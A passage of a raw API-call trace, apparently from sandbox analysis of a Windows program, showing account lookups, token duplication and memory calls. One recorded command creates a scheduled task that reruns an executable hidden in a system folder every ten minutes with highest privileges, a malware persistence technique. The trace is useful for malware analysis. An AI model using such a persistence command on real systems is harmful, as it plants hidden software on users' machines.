[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0162.161] GetLastError () returned 0x7a [0162.161] malloc (_Size=0x14) returned 0x2af260 [0162.161] malloc (_Size=0x16) returned 0x2af280 [0162.161] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af260, cchName=0xe7ca84, ReferencedDomainName=0x2af280, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0162.162] malloc (_Size=0x18) returned 0x2af1a0 [0162.162] malloc (_Size=0x18) returned 0x2af180 [0162.162] free (_Block=0x2af260) [0162.162] free (_Block=0x2af280) [0162.162] free (_Block=0x2b8650) [0162.162] free (_Block=0x2af180) [0162.162] free (_Block=0x2af1a0) [0162.162] free (_Block=0x2af240) [0162.162] free (_Block=0x2b8b10) [0162.162] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0162.163] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0162.163] GetLastError () returned 0x7a [0162.163] malloc (_Size=0x2c) returned 0x2b8b50 [0162.163] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0162.163] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0162.163] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0162.163] malloc (_Size=0x1c) returned 0x2b8650 [0162.163] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0162.163] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0162.163] malloc (_Size=0x18) returned 0x2af240 [0162.163] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0162.163] malloc (_Size=0x18) returned 0x2af1a0 [0162.163] malloc (_Size=0x18) returned 0x2af180 [0162.163] SysStringLen (param_1="S-1-") returned 0x4 [0162.163] SysStringLen (param_1="5") returned 0x1 [0162.163] memcpy (in: _Dst=0x142338, _Src=0x142308, _Size=0xa | out: _Dst=0x142338) returned 0x142338 [0162.163] memcpy (in: _Dst=0x142340, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x142340) returned 0x142340 [0162.163] free (_Block=0x2af240) [0162.163] free (_Block=0x2af1a0) [0162.163] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0162.163] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0162.163] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0162.163] malloc (_Size=0x18) returned 0x2af1a0 [0162.163] malloc (_Size=0x18) returned 0x2af240 [0162.163] SysStringLen (param_1="S-1-5") returned 0x5 [0162.163] SysStringLen (param_1="-") returned 0x1 [0162.164] memcpy (in: _Dst=0x1424b8, _Src=0x142338, _Size=0xc | out: _Dst=0x1424b8) returned 0x1424b8 [0162.164] memcpy (in: _Dst=0x1424c2, _Src=0x142308, _Size=0x4 | out: _Dst=0x1424c2) returned 0x1424c2 [0162.164] free (_Block=0x2af180) [0162.164] free (_Block=0x2af1a0) [0162.164] malloc (_Size=0x18) returned 0x2af1a0 [0162.164] malloc (_Size=0x18) returned 0x2af180 [0162.164] SysStringLen (param_1="S-1-5-") returned 0x6 [0162.164] SysStringLen (param_1="21") returned 0x2 [0162.164] memcpy (in: _Dst=0x142308, _Src=0x1424b8, _Size=0xe | out: _Dst=0x142308) returned 0x142308 [0162.164] memcpy (in: _Dst=0x142314, _Src=0x142338, _Size=0x6 | out: _Dst=0x142314) returned 0x142314 [0162.164] free (_Block=0x2af240) [0162.164] free (_Block=0x2af1a0) [0162.164] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0162.164] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0162.164] malloc (_Size=0x18) returned 0x2af1a0 [0162.164] malloc (_Size=0x18) returned 0x2af240 [0162.164] SysStringLen (param_1="S-1-5-21") returned 0x8 [0162.164] SysStringLen (param_1="-") returned 0x1 [0162.164] memcpy (in: _Dst=0x142338, _Src=0x142308, _Size=0x12 | out: _Dst=0x142338) returned 0x142338 [0162.164] memcpy (in: _Dst=0x142348, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x142348) returned 0x142348 [0162.164] free (_Block=0x2af180) [0162.164] free (_Block=0x2af1a0) [0162.164] malloc (_Size=0x18) returned 0x2af1a0 [0162.165] malloc (_Size=0x18) returned 0x2af180 [0162.165] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0162.165] SysStringLen (param_1="4219442223") returned 0xa [0162.165] memcpy (in: _Dst=0x1182b8, _Src=0x142338, _Size=0x14 | out: _Dst=0x1182b8) returned 0x1182b8 [0162.165] memcpy (in: _Dst=0x1182ca, _Src=0x142308, _Size=0x16 | out: _Dst=0x1182ca) returned 0x1182ca [0162.165] free (_Block=0x2af240) [0162.165] free (_Block=0x2af1a0) [0162.165] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0162.165] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0162.165] malloc (_Size=0x18) returned 0x2af1a0 [0162.165] malloc (_Size=0x18) returned 0x2af240 [0162.165] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0162.165] SysStringLen (param_1="-") returned 0x1 [0162.165] memcpy (in: _Dst=0x117ea8, _Src=0x1182b8, _Size=0x28 | out: _Dst=0x117ea8) returned 0x117ea8 [0162.165] memcpy (in: _Dst=0x117ece, _Src=0x142338, _Size=0x4 | out: _Dst=0x117ece) returned 0x117ece [0162.165] free (_Block=0x2af180) [0162.165] free (_Block=0x2af1a0) [0162.165] malloc (_Size=0x18) returned 0x2af1a0 [0162.165] malloc (_Size=0x18) returned 0x2af180 [0162.165] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0162.165] SysStringLen (param_1="4223814209") returned 0xa [0162.165] memcpy (in: _Dst=0x171608, _Src=0x117ea8, _Size=0x2a | out: _Dst=0x171608) returned 0x171608 [0162.165] memcpy (in: _Dst=0x171630, _Src=0x142338, _Size=0x16 | out: _Dst=0x171630) returned 0x171630 [0162.165] free (_Block=0x2af240) [0162.166] free (_Block=0x2af1a0) [0162.166] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0162.166] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0162.166] malloc (_Size=0x18) returned 0x2af1a0 [0162.166] malloc (_Size=0x18) returned 0x2af240 [0162.166] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0162.166] SysStringLen (param_1="-") returned 0x1 [0162.166] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x3e | out: _Dst=0x12d6f8) returned 0x12d6f8 [0162.166] memcpy (in: _Dst=0x12d734, _Src=0x142338, _Size=0x4 | out: _Dst=0x12d734) returned 0x12d734 [0162.166] free (_Block=0x2af180) [0162.166] free (_Block=0x2af1a0) [0162.166] malloc (_Size=0x18) returned 0x2af1a0 [0162.166] malloc (_Size=0x18) returned 0x2af180 [0162.166] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0162.166] SysStringLen (param_1="3835049652") returned 0xa [0162.166] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x40 | out: _Dst=0x171608) returned 0x171608 [0162.166] memcpy (in: _Dst=0x171646, _Src=0x142338, _Size=0x16 | out: _Dst=0x171646) returned 0x171646 [0162.166] free (_Block=0x2af240) [0162.166] free (_Block=0x2af1a0) [0162.166] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0162.166] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0162.166] malloc (_Size=0x18) returned 0x2af1a0 [0162.166] malloc (_Size=0x18) returned 0x2af240 [0162.166] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0162.167] SysStringLen (param_1="-") returned 0x1 [0162.167] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x54 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0162.167] memcpy (in: _Dst=0x12d74a, _Src=0x142338, _Size=0x4 | out: _Dst=0x12d74a) returned 0x12d74a [0162.167] free (_Block=0x2af180) [0162.167] free (_Block=0x2af1a0) [0162.167] malloc (_Size=0x18) returned 0x2af1a0 [0162.167] malloc (_Size=0x18) returned 0x2af180 [0162.167] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0162.167] SysStringLen (param_1="1000") returned 0x4 [0162.167] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x56 | out: _Dst=0x171608) returned 0x171608 [0162.167] memcpy (in: _Dst=0x17165c, _Src=0x142338, _Size=0xa | out: _Dst=0x17165c) returned 0x17165c [0162.167] free (_Block=0x2af240) [0162.167] free (_Block=0x2af1a0) [0162.167] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0162.167] malloc (_Size=0x5e) returned 0x2b0ad0 [0162.167] free (_Block=0x2af180) [0162.167] malloc (_Size=0x18) returned 0x2af180 [0162.168] free (_Block=0x2b0ad0) [0162.168] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0162.168] GetLastError () returned 0x7a [0162.168] malloc (_Size=0x14) returned 0x2af1a0 [0162.168] malloc (_Size=0x16) returned 0x2af240 [0162.168] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af1a0, cchName=0xe7ca94, ReferencedDomainName=0x2af240, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0162.169] malloc (_Size=0x18) returned 0x2af280 [0162.169] malloc (_Size=0x18) returned 0x2af260 [0162.169] free (_Block=0x2af1a0) [0162.169] free (_Block=0x2af240) [0162.169] free (_Block=0x2b8650) [0162.169] free (_Block=0x2af260) [0162.169] free (_Block=0x2af280) [0162.169] free (_Block=0x2af180) [0162.170] free (_Block=0x2b8b50) [0162.170] malloc (_Size=0x48) returned 0x2ad680 [0162.170] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0162.175] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0162.175] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0162.175] malloc (_Size=0x18) returned 0x2af180 [0162.175] CreateEnvironmentBlock () returned 0x1 [0162.180] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0162.180] malloc (_Size=0x18) returned 0x2af280 [0162.180] CreateProcessAsUserW (in: hToken=0x1ec, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"yardadultbehindy\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x18a730, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"yardadultbehindy\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0xa28, dwThreadId=0xa2c)) returned 1 [0162.184] CloseHandle (hObject=0x300) returned 1 [0162.184] CloseHandle (hObject=0x2fc) returned 1 [0162.185] free (_Block=0x2af280) [0162.185] DestroyEnvironmentBlock () returned 0x1 [0162.185] malloc (_Size=0x48) returned 0x2ad6d0 [0162.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2ce23360, dwHighDateTime=0x1d8a92a)) [0162.185] SetEvent (hEvent=0x1f0) returned 1 [0162.186] CloseHandle (hObject=0x244) returned 1 [0162.186] CloseHandle (hObject=0x1ec) returned 1 [0162.348] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0162.348] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0162.348] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0162.817] SetLastError (dwErrCode=0x0) [0162.817] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0162.817] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0162.817] SetLastError (dwErrCode=0x0) [0162.817] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0162.817] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0162.817] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0162.817] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0162.817] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0162.817] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0162.819] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0162.820] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0162.820] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0162.820] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0162.820] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0162.820] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0162.820] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0162.824] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0162.825] GetCurrentThread () returned 0xfffffffffffffffe [0162.825] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x248) returned 1 [0162.825] malloc (_Size=0xd8) returned 0x2b90e0 [0162.825] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0162.825] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0162.825] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0162.825] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0162.826] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0162.826] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0162.826] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0162.826] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0162.826] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0162.826] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0162.827] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0162.827] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0162.827] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0162.827] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0162.827] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0162.827] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0162.827] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0162.828] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0162.828] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0162.828] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0162.828] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0162.828] malloc (_Size=0x18) returned 0x2af180 [0162.828] DuplicateTokenEx (in: hExistingToken=0x248, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x234) returned 1 [0162.828] malloc (_Size=0x48) returned 0x2ad6d0 [0162.828] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2d43cbc0, dwHighDateTime=0x1d8a92a)) [0162.828] SetEvent (hEvent=0x1f0) returned 1 [0162.831] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0162.831] GetLastError () returned 0x7a [0162.831] malloc (_Size=0x2c) returned 0x2b8b10 [0162.831] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0162.831] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0162.831] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0162.831] malloc (_Size=0x1c) returned 0x2b86e0 [0162.831] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b86e0, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b86e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0162.831] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0162.831] malloc (_Size=0x18) returned 0x2af180 [0162.831] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0162.831] malloc (_Size=0x18) returned 0x2af280 [0162.831] malloc (_Size=0x18) returned 0x2af260 [0162.831] SysStringLen (param_1="S-1-") returned 0x4 [0162.831] SysStringLen (param_1="5") returned 0x1 [0162.831] memcpy (in: _Dst=0x142518, _Src=0x1423c8, _Size=0xa | out: _Dst=0x142518) returned 0x142518 [0162.831] memcpy (in: _Dst=0x142520, _Src=0x142458, _Size=0x4 | out: _Dst=0x142520) returned 0x142520 [0162.831] free (_Block=0x2af180) [0162.832] free (_Block=0x2af280) [0162.832] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0162.832] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0162.832] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0162.832] malloc (_Size=0x18) returned 0x2af280 [0162.832] malloc (_Size=0x18) returned 0x2af180 [0162.832] SysStringLen (param_1="S-1-5") returned 0x5 [0162.832] SysStringLen (param_1="-") returned 0x1 [0162.832] memcpy (in: _Dst=0x142458, _Src=0x142518, _Size=0xc | out: _Dst=0x142458) returned 0x142458 [0162.832] memcpy (in: _Dst=0x142462, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x142462) returned 0x142462 [0162.832] free (_Block=0x2af260) [0162.832] free (_Block=0x2af280) [0162.832] malloc (_Size=0x18) returned 0x2af280 [0162.832] malloc (_Size=0x18) returned 0x2af260 [0162.832] SysStringLen (param_1="S-1-5-") returned 0x6 [0162.832] SysStringLen (param_1="21") returned 0x2 [0162.832] memcpy (in: _Dst=0x1423c8, _Src=0x142458, _Size=0xe | out: _Dst=0x1423c8) returned 0x1423c8 [0162.832] memcpy (in: _Dst=0x1423d4, _Src=0x142518, _Size=0x6 | out: _Dst=0x1423d4) returned 0x1423d4 [0162.832] free (_Block=0x2af180) [0162.832] free (_Block=0x2af280) [0162.832] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0162.832] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0162.833] malloc (_Size=0x18) returned 0x2af280 [0162.833] malloc (_Size=0x18) returned 0x2af180 